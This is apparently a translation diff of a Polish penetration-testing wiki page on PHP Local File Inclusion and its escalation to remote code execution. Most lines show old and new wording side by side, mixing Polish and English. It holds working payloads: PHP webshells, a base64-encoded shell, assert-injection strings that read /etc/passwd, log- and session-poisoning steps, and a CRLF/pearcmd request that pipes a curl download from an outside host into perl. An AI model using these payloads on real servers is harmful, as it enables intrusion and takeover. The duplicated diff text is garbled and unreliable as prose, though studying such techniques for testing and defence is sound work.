- A aby móc uzyskać **further data** pomysł polega na **generate 2 bytes of junk data at the beginning** przy użyciu **convert.iconv.UTF16.UTF16**, zastosować **UCS-4LE** aby to **pivot with the next 2 bytes**, i d**usuń dane aż do śmieciowych danych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to aż dotrzesz do żądanego bitu do leak. - A żeby móc uzyskać **further data** pomysł jest **generate 2 bytes of junk data at the beginning** z użyciem **convert.iconv.UTF16.UTF16**, zastosować **UCS-4LE** żeby to **pivot with the next 2 bytes**, i d**elete the data until the junk data** (to usunie pierwsze 2 bajty oryginalnego tekstu). Kontynuuj to aż dojdziesz do żądanego bitu do leak.
W artykule opublikowano również narzędzie automatyzujące to: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). W poście udostępniono też narzędzie do automatyzacji: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd ### php://fd
Ten wrapper pozwala uzyskać dostęp do file descriptors, które proces ma otwarte. Potencjalnie przydatne do exfiltrate zawartości otwartych plików: Ten wrapper pozwala na dostęp do file descriptors, które proces ma otwarte. Potencjalnie przydatny do exfiltrate zawartości otwartych plików:
```php ```php
echo file_get_contents("php://fd/3"); echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r"); $myfile = fopen("/etc/passwd", "r");
``` ```
Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku) Możesz też użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być użyteczne w ataku)
### zip:// and rar:// ### zip:// i rar://
Prześlij plik Zip lub Rar zawierający PHPShell i uzyskaj do niego dostęp.\ Prześlij plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\
Aby móc nadużyć rar protocol, **musi on być specjalnie aktywowany**. Aby móc nadużyć protokołu rar, musi on być **specjalnie aktywowany**.
```bash ```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php; zip payload.zip payload.php;
@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
Zwróć uwagę, że ten protokół jest ograniczony przez konfiguracje PHP **`allow_url_open`** i **`allow_url_include`** Należy pamiętać, że ten protokół jest ograniczony przez konfiguracje php **`allow_url_open`** i **`allow_url_include`**
### expect:// ### expect://
Expect musi być aktywowany. Możesz wykonać kod, używając tego: Expect musi być aktywowany. Możesz wykonać code za pomocą tego:
``` ```
http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls http://example.com/index.php?page=expect://ls
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
``` ```
### phar:// ### phar://
Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`: Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP demonstruje stworzenie pliku `.phar`:
```php ```php
<?php <?php
$phar = new Phar('test.phar'); $phar = new Phar('test.phar');
@ -358,9 +358,9 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie:
```bash ```bash
php --define phar.readonly=0 create_path.php php --define phar.readonly=0 create_path.php
``` ```
Po uruchomieniu zostanie utworzony plik o nazwie `test.phar`, który może potencjalnie zostać wykorzystany do ataków Local File Inclusion (LFI). Po uruchomieniu zostanie utworzony plik o nazwie `test.phar`, który potencjalnie może zostać wykorzystany do eksploatacji podatności Local File Inclusion (LFI).
W przypadkach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP — za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` lub `filesize()` — można spróbować wykorzystać podatność typu deserialization. Ta podatność wiąże się z odczytem plików przy użyciu protokołu `phar`. W sytuacjach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP (np. za pomocą `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` lub `filesize()`), można spróbować wykorzystać podatność na deserializację. Ta podatność wiąże się z odczytem plików przy użyciu protokołu `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -374,73 +374,73 @@ phar-deserialization.md
### CVE-2024-2961 ### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\ Bardzo krótkie podsumowanie: a **3 byte overflow** w heapie PHP został wykorzystany do **zmiany łańcucha wolnych chunków** o określonym rozmiarze, aby móc **zapisać cokolwiek pod dowolnym adresem**, dlatego dodano hook wywołujący **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters. Można było zaalokować chunki o określonych rozmiarach, wykorzystując dodatkowe php filters.
### More protocols ### More protocols
Sprawdź więcej możliwych[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak może to być użyteczne w ataku file inclusion) - [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w ataku file inclusion)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Dostęp do lokalnego systemu plików - [file://](https://www.php.net/manual/en/wrappers.file.php) — Dostęp do lokalnego systemu plików
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s) - [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL przez HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów FTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdowanie ścieżek pasujących do wzorca (nie zwraca nic czytelnego, więc nie jest tu zbyt przydatny) - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdowanie ścieżek pasujących do wzorca (nie zwraca niczego czytelnego, więc nie jest tu zbyt przydatny)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików) - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików)
## LFI via PHP's 'assert' ## LFI via PHP's 'assert'
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal takie jak ".." jest sprawdzane, ale nieprawidłowo sanitizowane. Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające sekwencje directory traversal, takie jak "..", jest sprawdzane, ale nieprawidłowo oczyszczane.
For example, PHP code might be designed to prevent directory traversal like so: For example, PHP code might be designed to prevent directory traversal like so:
```bash ```bash
assert("strpos('$file', '..') === false") or die(""); assert("strpos('$file', '..') === false") or die("");
``` ```
Chociaż ma to na celu zatrzymanie traversal, niezamierzenie tworzy wektor do code injection. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć: Chociaż ma to na celu powstrzymanie traversal, niezamierzenie tworzy wektor umożliwiający code injection. Aby wykorzystać to do odczytania zawartości pliku, attacker mógłby użyć:
```plaintext ```plaintext
' and die(highlight_file('/etc/passwd')) or ' ' and die(highlight_file('/etc/passwd')) or '
``` ```
Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć: Podobnie, do wykonywania dowolnych poleceń systemowych można użyć:
```plaintext ```plaintext
' and die(system("id")) or ' ' and die(system("id")) or '
``` ```
It's important to **URL-encode these payloads**. Ważne: **URL-encode these payloads**.
## PHP Blind Path Traversal ## PHP Blind Path Traversal
> [!WARNING] > [!WARNING]
> Ta technika ma zastosowanie w przypadkach, gdy **kontrolujesz** **file path** **PHP function**, która **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**) — zawartość nie jest wyświetlana. > Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która będzie **dostępować do pliku**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana.
W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal może być nadużyte przez PHP filter, aby **exfiltrate the content of a file via an error oracle**. W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal może być wykorzystany przez PHP filter do **exfiltrate the content of a file via an error oracle**.
W skrócie, technika polega na użyciu kodowania **"UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**. W skrócie, technika używa kodowania **"UCS-4LE"** aby uczynić zawartość pliku tak **dużą**, że **funkcja PHP otwierająca** plik wywoła **błąd**.
Następnie, aby leak pierwszego znaku, używa się filtra **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a na końcu stosuje się filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE**, aby **umieścić inne znaki na początku i leakować je**. Następnie, aby leak pierwszego znaku, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a na końcu filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane do **place other chars at the beggining and leak them**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Funkcje, które mogą być podatne: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post! Szczegóły techniczne znajdziesz we wspomnianym poście!
## LFI2RCE ## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE) ### Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. Gdy kod po stronie serwera, który przyjmuje/przesyła pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez canonicalising i walidacji, segmenty `..` oraz ścieżki absolutne mogą wydostać się z zamierzonego katalogu i spowodować arbitralne zapisanie pliku. Jeśli możesz umieścić payload w katalogu dostępnym z webu, zwykle uzyskujesz niezautoryzowane RCE poprzez upuszczenie webshell.
Typical exploitation workflow: Typowy przebieg eksploatacji:
- Zidentyfikuj write primitive w endpointcie lub background workerze, który akceptuje ścieżkę/nazwę pliku i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.). - Identify a write primitive w endpointzie lub background workerze, który akceptuje ścieżkę/nazwę pliku i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Określ web-exposed directories. Typowe przykłady: - Określ katalogi dostępne z webu. Przykłady:
- Apache/PHP: `/var/www/html/` - Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp` - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Stwórz traversal path, który wydostanie się z zamierzonego storage directory do webroot i dołącz swoją zawartość webshell. - Sporządź traversal path, który wydostanie się z zamierzonego katalogu przechowywania do webroot i dołącz zawartość webshell.
- Otwórz wrzucony payload w przeglądarce i wykonaj polecenia. - Przejdź do upuszczonego payload i wykonaj polecenia.
Notes: Uwagi:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. - Usługa podatna, która wykonuje zapis, może nasłuchiwać na porcie nie-HTTP (np. JMF XML listener na TCP 4004). Główny portal webowy (inny port) później posłuży Twemu payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. - Na stosach Java te zapisy plików często są implementowane przez proste konkatenacje `File`/`Paths`. Brak canonicalisation/allow-listing to podstawowy błąd.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal): Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml ```xml
@ -466,26 +466,26 @@ in.transferTo(out);
</Command> </Command>
</JMF> </JMF>
``` ```
Hardening that defeats this class of bugs: Środki hardeningowe, które eliminują tę klasę błędów:
- Rozwiązuj do kanonicznej ścieżki i wymuszaj, że jest potomkiem dozwolonego katalogu bazowego. - Normalizuj do ścieżki kanonicznej i wymuszaj, by była potomkiem katalogu bazowego znajdującego się na liście dozwolonych.
- Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików. - Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików.
- Uruchamiaj writer jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych. - Uruchamiaj proces zapisujący jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych.
## Remote File Inclusion ## Remote File Inclusion
Wyjaśniono wcześniej, [**follow this link**](#remote-file-inclusion). Wyjaśniono wcześniej, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file ### Przez plik logu Apache/Nginx
Jeśli serwer Apache lub Nginx jest **podatny na LFI** w funkcji include, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w parametrze **GET** php shell taki jak **`<?php system($_GET['c']); ?>`** i dołączyć ten plik Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shella jak **`<?php system($_GET['c']); ?>`** i dołączyć ten plik
> [!WARNING] > [!WARNING]
> Zwróć uwagę, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmienione na string "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**. > Zauważ, że **jeśli użyjesz double quotes** dla shell zamiast **simple quotes**, double quotes zostaną zmodyfikowane dla ciągu "_**quote;**_", **PHP rzuci błąd** i **nic więcej nie zostanie wykonane**.
> >
> Upewnij się też, że **write correctly the payload** albo PHP będzie wyrzucać błąd za każdym razem, gdy będzie próbował załadować plik logu i nie będziesz mieć drugiej szansy. > Upewnij się też, że **poprawnie zapisujesz payload** albo PHP wygeneruje błąd za każdym razem, gdy będzie próbował załadować plik logu i nie będziesz miał drugiej szansy.
To można też zrobić w innych logach, ale **uważaj,** kod wewnątrz logów może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell można wstawić do tego nagłówka.\ To można też zrobić w innych logach, ale **uważaj,** kod w logach może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest on dekodowany w logach. PHPShell można wstawić do tego nagłówka.\
Other possible log paths: Inne możliwe ścieżki logów:
```python ```python
/var/log/apache2/access.log /var/log/apache2/access.log
/var/log/apache/access.log /var/log/apache/access.log
@ -501,29 +501,29 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Przez e-mail ### Przez e-mail
**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `<?php echo system($_REQUEST["cmd"]); ?>` i spróbuj dołączyć mail użytkownika ścieżką taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`** **Wyślij e-mail** do wewnętrznego konta (user@localhost) zawierający Twój PHP payload, np. `<?php echo system($_REQUEST["cmd"]); ?>` i spróbuj dołączyć mail użytkownika ze ścieżką taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
### Przez /proc/*/fd/* ### Przez /proc/\*/fd/\*
1. Wgraj dużo shells (na przykład: 100) 1. Wgraj wiele shells (na przykład: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), z $PID = PID procesu (can be brute forced) i $FD = deskryptor pliku (can be brute forced too) 2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (może być brute forced) a $FD to deskryptor pliku (może być brute forced również)
### Przez /proc/self/environ ### Przez /proc/self/environ
Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent — zostanie on odzwierciedlony w pliku /proc/self/environ Podobnie jak w przypadku pliku logu — wyślij payload w User-Agent; zostanie on odzwierciedlony w pliku /proc/self/environ
``` ```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?> User-Agent: <?=phpinfo(); ?>
``` ```
### Via upload ### Via upload
Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np : `<?php system($_GET['c']); ?>` ). Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np.: `<?php system($_GET['c']); ?>` ).
``` ```
http://example.com/index.php?page=path/to/uploaded/file.png http://example.com/index.php?page=path/to/uploaded/file.png
``` ```
Aby plik pozostał czytelny najlepiej wstrzyknąć do metadanych obrazów/doc/pdf Aby plik pozostał czytelny, najlepiej wstrzyknąć do metadanych obrazów/doc/pdf
### Przez przesłanie pliku ZIP ### Przez przesłanie pliku Zip
Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp: Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp:
```python ```python
@ -536,7 +536,7 @@ Sprawdź, czy strona używa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
``` ```
W PHP te sesje są przechowywane w _/var/lib/php5/sess\\_\[PHPSESSID]\_ plikach W PHP te sesje są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_.
``` ```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -551,26 +551,26 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
``` ```
### Przez ssh ### Przez ssh
Jeśli ssh jest aktywne, sprawdź, którego użytkownika używa system (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id_rsa** Jeśli ssh jest aktywne, sprawdź, którego użytkownika używa (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id_rsa**
### **Przez** **vsftpd** _**logs**_ ### **Przez** **vsftpd** _**logi**_
Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. Jeżeli istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, gdy istnieje podatność Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:
1. Wstrzyknij payload PHP do pola username podczas procesu logowania. 1. Wstrzyknij PHP payload do pola username podczas procesu logowania.
2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_. 2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_.
### Przez php base64 filter (using base64) ### Przez php base64 filter (using base64)
Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz tego użyć, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload: Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload:
```url ```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
``` ```
### Przez php filters (bez pliku) ### Przez php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters to generate arbitrary content** jako wynik. Co w praktyce oznacza, że możesz **generate arbitrary php code** dla include **bez potrzeby zapisu** go do pliku.
{{#ref}} {{#ref}}
@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md
### Przez segmentation fault ### Przez segmentation fault
**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it. **Wyślij** plik, który zostanie zapisany jako **temporary** w `/tmp`, następnie w **tym samym żądaniu** wywołaj **segmentation fault**, a wtedy **plik tymczasowy nie zostanie usunięty** i możesz go odnaleźć.
{{#ref}} {{#ref}}
@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md
### Przez Nginx temp file storage ### Przez Nginx temp file storage
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, możesz być w stanie uzyskać RCE za pomocą następującej techniki:
{{#ref}} {{#ref}}
@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md
### Przez PHP_SESSION_UPLOAD_PROGRESS ### Przez PHP_SESSION_UPLOAD_PROGRESS
If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE: Jeśli znalazłeś **Local File Inclusion** nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **włączy sesję za Ciebie**. Możesz to nadużyć, aby uzyskać RCE:
{{#ref}} {{#ref}}
@ -606,7 +606,7 @@ via-php_session_upload_progress.md
### Przez temp file uploads in Windows ### Przez temp file uploads in Windows
If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE: Jeśli znalazłeś **Local File Inclusion**, a serwer działa na **Windows**, możesz uzyskać RCE:
{{#ref}} {{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### Przez `pearcmd.php` + URL args ### Przez `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. Zobacz także [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`: The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash ```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
``` ```
Poniższy przykład wykorzystuje vuln CRLF, aby uzyskać RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): Poniższe wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
``` ```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
``` ```
### Przez phpinfo() (file_uploads = on) ### Przez phpinfo() (file_uploads = on)
Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file_uploads = on możesz uzyskać RCE: Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file_uploads = on, możesz uzyskać RCE:
{{#ref}} {{#ref}}
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
